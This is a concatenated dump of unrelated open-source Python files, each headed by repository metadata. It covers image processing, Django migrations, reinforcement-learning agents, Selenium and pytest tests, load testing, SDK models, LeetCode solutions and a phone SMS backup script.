/py_numpy_1.py
2110065b1ebc86effcb568fa5a0643b2def8ba8a
[]
no_license
pbarton666/PES_Python_examples_and_solutions
2f973296796d91a5c8c28000002b996ef143ebb2
94fc2c8101a6e654a3ab67b39d1878b9d9f6aa74
refs/heads/master
2021-01-10T22:45:27.446831
2017-05-14T17:11:52
2017-05-14T17:11:52
70,357,916
0
1
null
null
null
null
UTF-8
Python
false
false
2,327
py
#py_numpy_1.py """a snake-charming application""" from PIL import Image import numpy as np import os idir =os.getcwd() iname= 'eastern_coral_1_clean.png'# 'white_snake.PNG' saveas='new_snake.PNG' #sets up an array for pixel processing white=np.array([255,255,255,0]) #r, g, b, a transparent = np.array...
dca9fddc3b23f660445b7dfdc4fa69e6a6bfd984
56abd8f94a511ae0d163161cb2f5e0a91d4b8bed
/datahub/event/migrations/0014_update_permissions_django_21.py
c27dc191d9543f8aa33c9c96a70980890b259390
[ "MIT" ]
permissive
cgsunkel/data-hub-api
994c58bd975d902bf2bc44b415a5892919ff4539
a92faabf73fb93b5bfd94fd465eafc3e29aa6d8e
refs/heads/develop
2023-05-31T22:35:56.344904
2021-06-30T11:23:06
2021-06-30T11:23:06
303,947,456
0
0
MIT
2021-06-30T10:34:50
2020-10-14T08:14:46
Python
UTF-8
Python
false
false
381
py
# Generated by Django 2.0.8 on 2018-08-03 14:51 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('event', '0013_add_default_id_for_metadata'), ('core', '0003_rename_read_permissions'), ] operations = [ migrations.AlterModelOptions( ...
80c5c7cf5342a44c5852c7740bd5710c955ced36
6b201605227f11880c1d32c9cad300f6e29ff4ae
/Python/Buch_Python3_Das_umfassende_Praxisbuch/Kapitel_07_Sequenzen_Mengen_und_Generatoren/08_chapter_07_repetition_questions.py
0c221875dd13afd534b86ec96cd3820a2eaca0c7
[ "MIT" ]
permissive
Apop85/Scripts
e2e8e6ed0c0da08a4d7c895aa366c9305197137b
467c34e59f2708f2d2f8bb369c36fd782d365e8b
refs/heads/master
2022-12-08T08:11:04.566376
2022-05-13T13:17:04
2022-05-13T13:17:04
164,251,836
0
0
MIT
2022-12-08T01:50:22
2019-01-05T21:16:45
Python
UTF-8
Python
false
false
2,887
py
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: 08_chapter_07_repetition_questions.py # Project: Kapitel_07_Sequenzen_Mengen_und_Generatoren # Created Date: Tuesday 05.03.2019, 16:17 # Author: Apop85 # ----- # Last Modified: Tuesday 05.03.2019, 16:43 # ----- # Copyright (c) 2019 Apop85 # This software is publ...
de11b77370f05d31f929a0e89ae8518b594ead80
8d47af9482444b07b52cf44cebcaf4b992df4d09
/agents/14_MinimumPRB/14.py
5f38c96b71c0088d5b0857b5e87d87b1363e01c9
[]
no_license
w0lv3r1nix/retro-agents
f4dbce2db558c880b161062796e5397be65bdd10
c7f93a737dc6c6fc5d8343c099e14bd2bc97aaf1
refs/heads/master
2020-08-01T01:19:41.660018
2018-06-13T04:28:09
2018-06-13T04:28:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,842
py
#!/usr/bin/env python """ Train an agent on Sonic using an open source Rainbow DQN implementation. """ import tensorflow as tf from anyrl.algos import DQN from anyrl.envs import BatchedGymEnv from anyrl.envs.wrappers import BatchedFrameStack from anyrl.models import rainbow_models from anyrl.rollouts import BatchedPl...
205a1f4bb79dfbfe132609918fb50ee0c8ed7da2
461cbe14775be116ea001ec36b8b9b4deb2f77bc
/lesson1.6_step7.py
42f6193f82db311382de80a482bc63b4c18cc740
[]
no_license
Adoyan-Grigor/stepik-auto-tests-course
898a653062cfa4bdf484a363b956ed2004ef0629
406b1498362538ebec27118083c3de5a94898140
refs/heads/master
2023-05-10T18:25:09.085013
2021-06-02T13:16:35
2021-06-02T13:16:35
369,514,851
0
0
null
null
null
null
UTF-8
Python
false
false
599
py
#!/usr/bin/python3 from selenium import webdriver import time try: browser = webdriver.Chrome() browser.get("http://suninjuly.github.io/huge_form.html") elements = browser.find_elements_by_css_selector('[type="text"]') for element in elements: element.send_keys("Мой ответ") button = brows...
aba19dd9fae018990c2a4be8d819f2689788d268
a0fb29f99a852089193e4cc9a11e7263dc3f8b5f
/mayan/apps/documents/tests/test_document_version_models.py
b19f865060f817d3028cfe3263bdeaa1716f406d
[ "Apache-2.0" ]
permissive
ikang9712/Mayan-EDMS
0e22a944d63657cea59c78023b604a01a622b52a
d6e57e27a89805329fe0c5582caa8e17882d94e6
refs/heads/master
2023-07-28T19:41:55.269513
2021-09-07T14:16:14
2021-09-07T14:16:14
402,884,683
1
0
NOASSERTION
2021-09-03T20:00:09
2021-09-03T20:00:09
null
UTF-8
Python
false
false
2,826
py
from ..literals import ( DOCUMENT_FILE_ACTION_PAGES_NEW, DOCUMENT_FILE_ACTION_PAGES_APPEND, DOCUMENT_FILE_ACTION_PAGES_KEEP ) from .base import GenericDocumentTestCase class DocumentVersionTestCase(GenericDocumentTestCase): def test_version_new_file_new_pages(self): test_document_version_page_con...
c4722abdfbd81b2b5a9a7eff8b02d361d255c7af
8a29f983b122602ef960d8c1f6fc6451569ed2d2
/te_discovery/conservation/extract_conservation_classes.py
166c8a4c459770ec2d21599a94d48d05cbd58982
[ "MIT" ]
permissive
oaxiom/hesc_lincrna
a4832841b49f2b9b0da6bf8a169857550a0e8797
7a87d426bba93a027794b6bea36f1ae61d5d205b
refs/heads/master
2022-05-08T04:16:57.760960
2022-04-02T00:17:57
2022-04-02T00:17:57
187,936,591
1
3
null
null
null
null
UTF-8
Python
false
false
2,718
py
import sys, os, itertools from collections import Counter import numpy as np import matplotlib.pyplot as plot import matplotlib.tri as tri from glbase3 import * import shared_conservation # collect three things: # 1. The total PhyloP score of the transcript # 2. score for TE-containing bits # 3. score for non-TE cont...
7ae56f768a8f140ecb1394772602106519a9ee18
eb38089224f1c2598f6ba17a28756bb040d4975a
/{{ cookiecutter.appname }}/program.py
04dd0d1ae5812276dd17999afe12ac501fb3280d
[]
no_license
zooba/sqlazure-cookiecutter-demo
b21afe1775547ca3ecc014396f53fb12170c3df9
eee1aed495cafc32d29ff5e335f4cf3963d1f7ba
refs/heads/master
2021-06-08T10:02:56.428740
2016-11-04T22:40:58
2016-11-04T22:40:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
534
py
import pyodbc CONNECTION_STRING = "{{cookiecutter.connection_string}}" connection = pyodbc.connect(CONNECTION_STRING) # Read all cursor = connection.cursor() cursor.execute( "select LastName, Count(*) as 'Members' " "from {{cookiecutter.namespace}}.{{cookiecutter.table}} " "group by LastName " "havi...
d7c6e469c589e6a81c8cab720f7504fcc6b98f5c
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-bss/huaweicloudsdkbss/v2/model/list_quota_coupons_request.py
32bac674877d7d2748d85e8b59d9ef77c75969ef
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
3,159
py
# coding: utf-8 import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class ListQuotaCouponsRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attr...
41fa742a05fa6098767800003e945f5fca7db849
b7ba98a9038f977f1efcbda5da2a41ae08e602ae
/exercises/21_jinja2/task_21_1c.py
d015a0565f2d71e065ba18dfbd812d00edb77cff
[]
no_license
Stanleygoo/pyneng-examples-exercises
f7914bc21aca119c7423af373a8b17b2917ea675
c27b608ac954149d841c0a53f1108a6100295544
refs/heads/master
2021-05-11T15:35:11.043546
2018-01-12T06:42:04
2018-01-12T06:42:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,721
py
# -*- coding: utf-8 -*- ''' Задание 21.1c Переделать функцию generate_cfg_from_template из задания 21.1, 21.1a или 21.1b: * сделать автоматическое распознавание разных форматов для файла с данными * для передачи разных типов данных, должен использоваться один и тот же параметр data Должны поддерживаться такие формат...
d0772dd0edd20d0af5d33d835497aa7e243a2f9f
afc4333ad944301ad969de445a5a4e3b223bb456
/greedy/greedy_03.py
c5f1ec91097b5ff762d82881078e50a0b2bf23bf
[]
no_license
ykiseong303/python_algorithm
4cf2df8c0ff2223eab70d246c87466d1ebc26133
e90268103983917835ba6dbcd14b4b515c3d0fae
refs/heads/main
2023-07-18T10:41:40.180855
2021-08-27T14:33:14
2021-08-27T14:33:14
342,607,860
0
0
null
null
null
null
UTF-8
Python
false
false
538
py
''' 분류 : 그리디 알고리즘 문제 : 1로 만들기 (이코테 문제) 작성일자 : 2021.02.26 ''' # 정수 N이 입력될 때 # K로 나누거나 1로 빼기 # 1까지 되는 연산을 사용하는 횟수의 최솟값을 출력 ## 목적 : N을 1로 만드는데 가장 적은 횟수로 수행하기 ## 접근 : 현재의 N 값에서 가장 작게 만들 수 있는 연산을 수행 N, K = map(int, input().split()) count = 0 while N>1 : if not N%K : N//=K else : N-=1 count...
9d44c7fc30c7532a83cbfd55e8f20cb446146010
2f63688febd21dc3ae6b19abfa79ad313c820154
/0343_Integer_Break/try_3.py
528ae78d9d8cc6ac2b91f6f7d4fed33f238a4064
[]
no_license
novayo/LeetCode
cadd03587ee4ed6e35f60294070165afc1539ac8
54d0b3c237e0ffed8782915d6b75b7c6a0fe0de7
refs/heads/master
2023-08-14T00:35:15.528520
2023-07-30T05:56:05
2023-07-30T05:56:05
200,248,146
8
1
null
2022-11-19T04:37:54
2019-08-02T14:24:19
Python
UTF-8
Python
false
false
412
py
class Solution: def integerBreak(self, n: int) -> int: dp = [1] * (n+1) for _n in range(2, n+1): i, j = 1, _n-1 max_value = 0 while i <= j: max_value = max(max_value, max(i, dp[i]) * max(j, dp[j])) i,...
1558ce39aec8e8a80e658eadae3fa17706dbffbc
4315cfa1bd13f08053d549c7c00287a76d656f9e
/src/abc159/B.py
612261c7290dcb8c80f4dd9c313c478367e21286
[]
no_license
ma96o/atcoder_archive
1c47e2189b2d55e7f519349e02ceb24500e2164e
8bc21d351535eda1f81a47442156f92f234cf6c3
refs/heads/main
2023-08-13T17:03:13.855154
2021-09-15T14:55:00
2021-09-15T14:55:00
350,179,699
0
0
null
null
null
null
UTF-8
Python
false
false
161
py
s = input() n = len(s) hs = s[:(n-1)//2] vs = s[((n+3)//2-1):] if s == s[::-1] and hs == hs[::-1] and vs == vs[::-1]: print("Yes") exit() print("No")
325c7ead66c60a3d6d4100600e21b951274e002e
2efee5574ff160c97a94e243c1c820814b008058
/parse/atest.py
d1fb32e644208592b435d8764e45b986a204877e
[]
no_license
haobtc/blockinfo
5c18430f3f5eaa7b979c119945b686e0e09d2e1c
00a094d917224dbe6acb6565125badec14f2400f
refs/heads/master
2020-03-29T07:01:35.936157
2014-05-14T03:55:27
2014-05-14T03:55:27
17,733,081
0
0
null
null
null
null
UTF-8
Python
false
false
589
py
from bitcointools.deserialize import decode_script script = 'j(n\xd6{q\xado\xbcp3\xa74\x06>I\x84\x8dv\x9b\x89m\x83h\xfe\x05\x9e;7\xf0q\n\x1a\x89\x00\x00\x00\x00\x01\x00\x00\x00' script = 'j(\xd8`\x1d4\xd0\x07lLR/\xab\xe9\xa4>\x83\x87\xcb,\xaa\r\xec\xfcJ\xd0/\xc1\xda\x83o\xb8\xfe\xa4\x00\x00\x00\x00\x03\x00\x00\x00' ...
102137592b05149728da3095ba674e187218c5b7
7a9472018f8a5c06da7341746bdb54a91ec02df0
/client/locustfile.py
09f77e398421728f25ea0b2e23edca5f75a846d6
[]
no_license
nmaekawa/websockets-tst
fb55fcca04d953b086ae8c36e4c2df5c55566c0e
7278e134b1c60a87873a38f7bbff7f8e3b96fa1c
refs/heads/master
2022-07-27T00:31:53.448846
2020-01-28T21:33:22
2020-01-28T21:33:22
221,528,746
0
0
null
2022-05-25T03:33:53
2019-11-13T18:47:05
Python
UTF-8
Python
false
false
5,553
py
# # automated run: use --no-web and --csv # $> locust -f examples/basic.py --csv=example --no-web -t10m -c 1 -r 1 --host <hxat url> # import os import json import logging from random import randint from subprocess import Popen from subprocess import PIPE from uuid import uuid4 from locust import between from locust i...
a07aa91eec7899727971e8ef6382c7d6c75ff0dc
bf75d497793b9f5df14bacc368cb43a509615045
/accounts/migrations/0001_initial.py
0f45c720c0474885cb3946df0d1bf4ea76c3b478
[]
no_license
haruyasu/django-allauth-base
05202fff81f74e44ec8d41cafd141c66d97cc034
b7f65e4844331e3341ec9f562b9f71b79f333941
refs/heads/main
2023-07-18T21:53:47.670149
2021-09-22T06:24:06
2021-09-22T06:24:06
409,087,878
0
0
null
null
null
null
UTF-8
Python
false
false
2,397
py
# Generated by Django 3.2.7 on 2021-09-22 05:24 import accounts.models from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0012_alter_user_first_name_max_length'), ] operations = [ migrations.CreateModel( ...
69af161c933e2333c069fc3bf5828085f06d2373
ceb3d82494813cd21e38231964e098bb3efe093b
/Feature/structure_tensor_eigenvalues.py
f72a99520193f77a04dcbe1808375927c8ee383b
[ "Apache-2.0" ]
permissive
Joevaen/Scikit-image_On_CT
0c0a306a9ca18668bd9bb4105e577766b1d5578b
e3bf0eeadc50691041b4b7c44a19d07546a85001
refs/heads/main
2023-03-16T01:28:04.871513
2021-03-16T07:53:57
2021-03-16T07:53:57
344,071,656
0
0
null
null
null
null
UTF-8
Python
false
false
311
py
# 计算结构张量的特征值。 from skimage.feature import structure_tensor from skimage.feature import structure_tensor_eigenvalues import numpy as np square = np.zeros((5, 5)) square[2, 2] = 1 A_elems = structure_tensor(square, sigma=0.1, order='rc') print(structure_tensor_eigenvalues(A_elems)[0])
c1b3bd9f77d36739a30305d571e50d3ca6a74293
ae46ca697eabe8ec5eea14aa0e218f6b9f7d0457
/util/puzzle_runner.py
ab24a1ae85838269695b3f3f11c93e591fe295be
[]
no_license
MyreMylar/word_search
334993d0bd4eafa8a641ba09abf82d4f4cbbed48
4d33ad230240cbf259b374725122786118cf5b2c
refs/heads/master
2020-03-12T23:56:28.520090
2018-04-24T15:37:15
2018-04-24T15:37:15
130,876,847
0
0
null
null
null
null
UTF-8
Python
false
false
7,075
py
import hashlib import pygame from pygame.locals import * class Puzzle: def __init__(self, task, answer): self.task = task self.answer = answer self.answer_hash = "" self.correct = False class RenderedPuzzle: def __init__(self, task, task_size, answer, answer_size, result, res...
031216c936d39754abde2a11c2e9bc24bcd35fdf
9560e118fafa944de93c5f6aec92a41a53825068
/webaskb_run.py
07997f0184ac34ea0c8d6c1d7cf93247b9085020
[]
no_license
cimeister/WebAsKB
6bedd567646495f3af8daf939cbf4ff9d674ee6e
b8f4488ce9a226bca0f0cff278cc84fd7d2d1f6c
refs/heads/master
2022-01-06T05:49:44.402051
2019-05-24T13:58:55
2019-05-24T13:58:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,265
py
from config import * from SplitQA import SplitQA from noisy_supervision import NoisySupervision from webaskb_ptrnet import WebAsKB_PtrNet import argparse parser = argparse.ArgumentParser() parser.add_argument("operation", help='available operations: "gen_noisy_sup","run_ptrnet" ,"train_ptrnet", "splitqa"') parser.add_...
2e295fa94dd0fee0546ab2840203eef3f5a2ae4e
14453c13d552165cabe72a310f44f7c58eaacad0
/tests/main/dsl/test_skip_passes.py
7cb4376f18205ffa80bb6f7e6da33bcb8a3eb791
[ "Apache-2.0" ]
permissive
ai2cm/pace
76a98ffae3baa92bd3b2ddc422b50dfa50255642
c543e8ec478d46d88b48cdd3beaaa1717a95b935
refs/heads/main
2023-07-06T07:18:11.558315
2022-12-22T21:45:34
2022-12-22T21:45:34
392,106,887
27
13
Apache-2.0
2023-07-03T13:47:46
2021-08-02T22:05:11
Python
UTF-8
Python
false
false
2,193
py
import unittest.mock # will need to update this import when gt4py is updated from gt4py.cartesian.gtc.passes.oir_optimizations.horizontal_execution_merging import ( HorizontalExecutionMerging, ) from gt4py.cartesian.gtc.passes.oir_pipeline import DefaultPipeline from gt4py.cartesian.gtscript import PARALLEL, compu...
99bbd9d46836511c97535c041251b08e19961ac9
a2062cce9fbc6a5392e188ffc1babd26f05e7814
/numpytutorial/basic/tutorial/multiplication.py
8cebe2369875b13916937e2b339ab2c1d3d6a809
[]
no_license
rohitaswchoudhary/spy_tutorial
65fa62b25891a076245cf6a1093ba8ccb9932d3c
0afdb9492f34a59a15d0531de5ca64d8ef8422af
refs/heads/main
2023-06-02T14:52:16.752137
2021-06-17T06:54:59
2021-06-17T06:54:59
328,871,875
2
0
null
null
null
null
UTF-8
Python
false
false
163
py
import numpy as np x = np.array([[1,3,0], [-1,2,1], [0, 0, 2]]) y = np.matrix([[2, 3, 4], [1,2,3], [-1,1,2]]) print(np.dot(x, y)) print(np.dot(y, x)) print(x==y)
2e9d806506c0eb1a705e0a484e74b7e78d806147
9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97
/sdBs/AllRun/kepler_bd/sdB_kepler_bd_coadd.py
848fd3775b6bb4cab1b38014fff779fb2a41155a
[]
no_license
tboudreaux/SummerSTScICode
73b2e5839b10c0bf733808f4316d34be91c5a3bd
4dd1ffbb09e0a599257d21872f9d62b5420028b0
refs/heads/master
2021-01-20T18:07:44.723496
2016-08-08T16:49:53
2016-08-08T16:49:53
65,221,159
0
0
null
null
null
null
WINDOWS-1252
Python
false
false
421
py
from gPhoton.gMap import gMap def main(): gMap(band="NUV", skypos=[+42¡3250,286.91875], skyrange=[0.0333333333333,0.0333333333333], stepsz = 30., cntfile="/data2/fleming/GPHOTON_OUTPUT/LIGHTCURVES/sdBs/sdB_kepler_bd/sdB_kepler_bd_movie_count.fits", cntcoaddfile="/data2/fleming/GPHOTON_OUTPUT/LIGHTCURVES/sdB/sdB_keple...
f41ecf32c0cbade99fe1da798f042464bfb10985
c3082eb2adc43b311dd3c9ff16fd3ed9df85f266
/python/examples/pytest/fib7/test_fibonacci.py
412bfcf25a359af1ef1610c04a755329dca30286
[]
no_license
szabgab/slides
78818c7138331b3ba9e221c81da3678a46efe9b3
63bba06678554db737602f2fbcd6510c36037e8a
refs/heads/main
2023-08-31T07:13:51.536711
2023-08-29T13:17:59
2023-08-29T13:17:59
122,212,527
87
69
null
2023-05-19T06:55:11
2018-02-20T14:57:03
Python
UTF-8
Python
false
false
540
py
import pytest from fibonacci import fib def test_fib(): assert fib(10) == 55 def test_fib_negative(): with pytest.raises(Exception) as err: fib(-1) assert err.type == ValueError assert str(err.value) == 'Invalid parameter -1' def test_fib_negative_again(): with pytest.raises(ValueError) a...
7415b1fe6c3fef75bcb7ef26e5dc8d6ae6afa1de
7c384a56e1bcd66ad4ee4b9dd413c49ff9f71bf1
/mario.py
cd382e705f6e9b24ee0eb3b92eaf1623ec3f2094
[]
no_license
Rouen007/mario
d9405c016ac172d5b38c26fa239a27be51662448
da5a678feefdcf3e8b220c1c6e8fd0ef67f285b7
refs/heads/master
2020-09-27T07:08:55.213068
2017-10-07T22:38:20
2017-10-07T22:38:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,822
py
#!/usr/bin/env python """Mario Gym Adventure! python mario.py ppaquette/meta-SuperMarioBros-v0 \ -a DQFDAgent -c mario_agent.json \ -ld ./demos/ -s ./agents/ -m ./monitors/ -mv 1000 -D """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse...
adc963ff1204c00fb87b90795664b46370b2735d
a1e10efa6a131e305351909a437bfa5d083d4513
/summary_product_report/reports/product_sales_qty_report/product_sales_qty_report.py
399f5bde169bc9bdd57785835dabc268a4757791
[]
no_license
h3llopy/glodok_extra_addons_od12
5089412b36b0dafdb17235a627c8e33ed2acbb1f
5c493962b93254fb2ca8cd674c4fe153ac86d680
refs/heads/master
2022-12-05T06:22:08.182302
2020-08-29T14:32:30
2020-08-29T14:32:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,188
py
# -*- coding: utf-8 -*- from odoo import models, fields, api, _,tools from odoo.exceptions import UserError,ValidationError import logging _logger = logging.getLogger(__name__) class ProductSalesQtyReport(models.Model): _name = 'product.sales.qty.report' _description = 'Product Sales Qty Report' _auto = False ...
7ea725be597104cfa2dac6fd1b1f81b9726da36d
13f4a06cd439f579e34bf38406a9d5647fe7a0f3
/script/try_python/try_Django/mzitu_com/mzitu_com_project/mzitu_com_project/home_page_transform.py
595accd90ae239ec0258a9fae2673b5f268d2f68
[]
no_license
edt-yxz-zzd/python3_src
43d6c2a8ef2a618f750b59e207a2806132076526
41f3a506feffb5f33d4559e5b69717d9bb6303c9
refs/heads/master
2023-05-12T01:46:28.198286
2023-05-01T13:46:32
2023-05-01T13:46:32
143,530,977
2
2
null
null
null
null
UTF-8
Python
false
false
5,505
py
__all__ = ''' home_page_transform__url home_page_transform__page extract_mzitu_com__the_all_or_old_page '''.split() #NotFoundError #find from nn_ns.internet.webpage.fetch_webpage import fetch_webpage from seed.helper.repr_input import repr_helper from bs4 import BeautifulSoup import re from ...
eb7284de08d0db2639a08a3dc6348c377f0be6e4
b53e3d57d31a47a98d87141e44a5f8940ee15bca
/src/utils/socket_client/socket_client.py
d64c219641216ff48c67160faa9ad2d93b41bdeb
[ "MIT" ]
permissive
Chrissimple/program-y
52177fcc17e75fb97ab3993a4652bcbe7906bd58
80d80f0783120c2341e6fc57e7716bbbf28a8b3f
refs/heads/master
2020-03-29T13:20:08.162177
2018-09-26T19:09:20
2018-09-26T19:09:20
149,952,995
1
0
null
2018-09-23T06:11:04
2018-09-23T06:11:04
null
UTF-8
Python
false
false
651
py
# client.py import socket import sys import json host = sys.argv[1] port = int(sys.argv[2]) question = sys.argv[3] clientid = sys.argv[4] max_size = 1024 if len(sys.argv) == 6: max_size = sys.argv[5] payload = {"question": question, "clientid": clientid} json_data = json.dumps(payload) # create a so...
c5a78fbd2e9b6d4765751767fa9482d51b71cf16
7986ec6498e3f93967fa9bfe2b6a9d4056138293
/Protheus_WebApp/Modules/SIGAFIN/FINA171TESTCASE.py
d514f8aee6362dfcd0583815fa42b1334b983c59
[ "MIT" ]
permissive
HelenaAdrignoli/tir-script-samples
7d08973e30385551ef13df15e4410ac484554303
bb4f4ab3a49f723216c93f66a4395e5aa328b846
refs/heads/master
2023-02-21T11:26:28.247316
2020-04-28T16:37:26
2020-04-28T16:37:26
257,304,757
0
0
MIT
2020-04-20T14:22:21
2020-04-20T14:22:20
null
UTF-8
Python
false
false
1,786
py
from tir import Webapp import unittest class FINA171(unittest.TestCase): @classmethod def setUpClass(inst): inst.oHelper = Webapp() inst.oHelper.Setup('SIGAFIN','12/09/2019','T1','D MG 01 ','06') inst.oHelper.Program("FINA171") def test_FINA171_CT006(self): self.oHelper.SetButton("Incluir") self.oHelper...
cd1d00359df9774b800509d1661d19dd46beb71a
61bccf4117ba351365a2526603024a0e99e2559f
/pseudo/api_translators/python_api_handlers.py
3c5ed44386fdc67cbeaac8e5745a3471fdeff16d
[ "MIT" ]
permissive
gitter-badger/pseudo
781363ee0c116ee0d7dfce968b007708a33c8bc4
070a2649d47170927184ad19af8c32c7be4f7612
refs/heads/master
2021-01-22T15:43:29.890465
2016-03-07T03:42:19
2016-03-07T03:42:19
53,293,990
0
0
null
2016-03-07T03:48:09
2016-03-07T03:48:08
null
UTF-8
Python
false
false
2,630
py
from pseudo.pseudo_tree import Node, call, method_call, local, assignment, to_node from pseudo.api_handlers import BizarreLeakingNode, NormalLeakingNode def expand_map(receiver, func): if func.type == 'lambda': return Node( '_py_list_comp', sequence=receiver) else: retur...
2a208e38f3ee3b3d5ad2f906c8d4f09584af8142
3d7383bd777c9c49525ac7a0565b21ddea22f480
/draw/migrations/0003_canvas_in_use.py
285857b18f75cec4f092b92ad0eb9c1de1bb493c
[]
no_license
eranfuchs1/draw-factory
34b785f97960adc7f4ddf105c355f83d0c83f7d7
064f481a5f42a72d6ca2945b145f688ca819ac39
refs/heads/main
2023-08-17T21:24:40.737542
2021-10-10T13:53:32
2021-10-10T13:53:32
411,957,018
0
0
null
null
null
null
UTF-8
Python
false
false
380
py
# Generated by Django 3.2.7 on 2021-09-16 13:32 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('draw', '0002_auto_20210910_0639'), ] operations = [ migrations.AddField( model_name='canvas', name='in_use', ...
[ "xer@xer-labtop" ]
xer@xer-labtop
9040a4631960319ec6148982d433cd13b8960be8
255e19ddc1bcde0d3d4fe70e01cec9bb724979c9
/all-gists/4975214/snippet.py
89b2ebfbf651f8646080afc7aa78e741eb01c122
[ "MIT" ]
permissive
gistable/gistable
26c1e909928ec463026811f69b61619b62f14721
665d39a2bd82543d5196555f0801ef8fd4a3ee48
refs/heads/master
2023-02-17T21:33:55.558398
2023-02-11T18:20:10
2023-02-11T18:20:10
119,861,038
76
19
null
2020-07-26T03:14:55
2018-02-01T16:19:24
Python
UTF-8
Python
false
false
1,947
py
#!/usr/bin/env python3 # Joonas Kuorilehto 2013 # This script is Public Domain. import csv import subprocess import pipes from datetime import datetime import smtplib from email.mime.text import MIMEText EMAIL = ************** ADB_BINARY = "adt-bundle-linux-x86_64/sdk/platform-tools/adb" SMS_DB = "/data/data/com.and...
2c9a8ded7947bcb9ce4a3f05b9e33107d4f561f4
297497957c531d81ba286bc91253fbbb78b4d8be
/testing/web-platform/tests/tools/wptrunner/wptrunner/browsers/chrome.py
c04e715a20e5eaa0635c562676c17e8f89f45cf7
[ "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause" ]
permissive
marco-c/gecko-dev-comments-removed
7a9dd34045b07e6b22f0c636c0a836b9e639f9d3
61942784fb157763e65608e5a29b3729b0aa66fa
refs/heads/master
2023-08-09T18:55:25.895853
2023-08-01T00:40:39
2023-08-01T00:40:39
211,297,481
0
0
NOASSERTION
2019-09-29T01:27:49
2019-09-27T10:44:24
C++
UTF-8
Python
false
false
5,676
py
from . import chrome_spki_certs from .base import WebDriverBrowser, require_arg from .base import NullBrowser from .base import get_timeout_multiplier from .base import cmd_arg from ..executors import executor_kwargs as base_executor_kwargs from ..executors.executorwebdriver import WebDriverCrashtestExecutor f...
b4b41d922e148e8957787f9ba6595f80af7ff5cd
f83ef53177180ebfeb5a3e230aa29794f52ce1fc
/opencv/opencv-3.4.2/modules/python/test/test_algorithm_rw.py
c925a99e7b378e4a2de119a09516b8791426e911
[ "Apache-2.0", "BSD-3-Clause" ]
permissive
msrLi/portingSources
fe7528b3fd08eed4a1b41383c88ee5c09c2294ef
57d561730ab27804a3172b33807f2bffbc9e52ae
refs/heads/master
2021-07-08T01:22:29.604203
2019-07-10T13:07:06
2019-07-10T13:07:06
196,183,165
2
1
Apache-2.0
2020-10-13T14:30:53
2019-07-10T10:16:46
null
UTF-8
Python
false
false
945
py
#!/usr/bin/env python """Algorithm serializaion test.""" import tempfile import os import cv2 as cv from tests_common import NewOpenCVTests class algorithm_rw_test(NewOpenCVTests): def test_algorithm_rw(self): fd, fname = tempfile.mkstemp(prefix="opencv_python_algorithm_", suffix=".yml") os.close(...
0372fae3ea1b5eb2527a825a9ca4ed488c4356f6
dcce56815dca2b18039e392053376636505ce672
/dumpscripts/urllib_parse_parse_qs.py
ac161429c77b20833f8c030beec791aacc03a8ed
[]
no_license
robertopauletto/PyMOTW-it_3.0
28ff05d8aeccd61ade7d4107a971d9d2576fb579
c725df4a2aa2e799a969e90c64898f08b7eaad7d
refs/heads/master
2021-01-20T18:51:30.512327
2020-01-09T19:30:14
2020-01-09T19:30:14
63,536,756
4
1
null
null
null
null
UTF-8
Python
false
false
184
py
# urllib_parse_parse_qs.py from urllib.parse import parse_qs, parse_qsl encoded = 'foo=foo1&foo=foo2' print('parse_qs :', parse_qs(encoded)) print('parse_qsl:', parse_qsl(encoded))
51240397ecfcb413842739d74156a0b5203fe35a
0e478f3d8b6c323c093455428c9094c45de13bac
/src/OTLMOW/PostenMapping/Model/Post050403123.py
d2a98778acbe6ecbe359b1c4d49180ede0abb679
[ "MIT" ]
permissive
davidvlaminck/OTLMOW
c6eae90b2cab8a741271002cde454427ca8b75ba
48f8c357c475da1d2a1bc7820556843d4b37838d
refs/heads/main
2023-01-12T05:08:40.442734
2023-01-10T15:26:39
2023-01-10T15:26:39
432,681,113
3
1
MIT
2022-06-20T20:36:00
2021-11-28T10:28:24
Python
UTF-8
Python
false
false
3,021
py
# coding=utf-8 from OTLMOW.PostenMapping.StandaardPost import StandaardPost from OTLMOW.PostenMapping.StandaardPostMapping import StandaardPostMapping # Generated with PostenCreator. To modify: extend, do not edit class Post050403123(StandaardPost): def __init__(self): super().__init__( nummer...
eb8d813a61a828c9efb6c8ec52af1b6ef4a5c794
91824d746654fe12881b4fc3b55c553aae0d22ac
/py/redundant-connection.py
ab5fad839fdb7996e843187b4f2991bc9032bb7b
[ "Apache-2.0" ]
permissive
ckclark/leetcode
a1a173c67a36a3256b198f853fcd3d15aa5abbb7
844c6f18d06dcb397db76436e5f4b8ddcb1beddc
refs/heads/master
2021-01-15T08:14:43.368516
2020-02-14T07:25:05
2020-02-14T07:30:10
42,386,911
0
0
null
null
null
null
UTF-8
Python
false
false
1,284
py
from collections import defaultdict class Solution(object): def findRedundantConnection(self, edges): """ :type edges: List[List[int]] :rtype: List[int] """ visited = set() parent = dict() neighbors = defaultdict(list) edge_idx = {tuple(sorted(e)): i f...
43c894cedddac6fcbb06773d61b19cb93d4bf03c
2a8c18a9fd129337c043fd2363b48450f0c3185f
/test/gst-msdk/transcode/vc1.py
7e4155599e586463311c20b1dd91b128b51208b1
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
intel/vaapi-fits
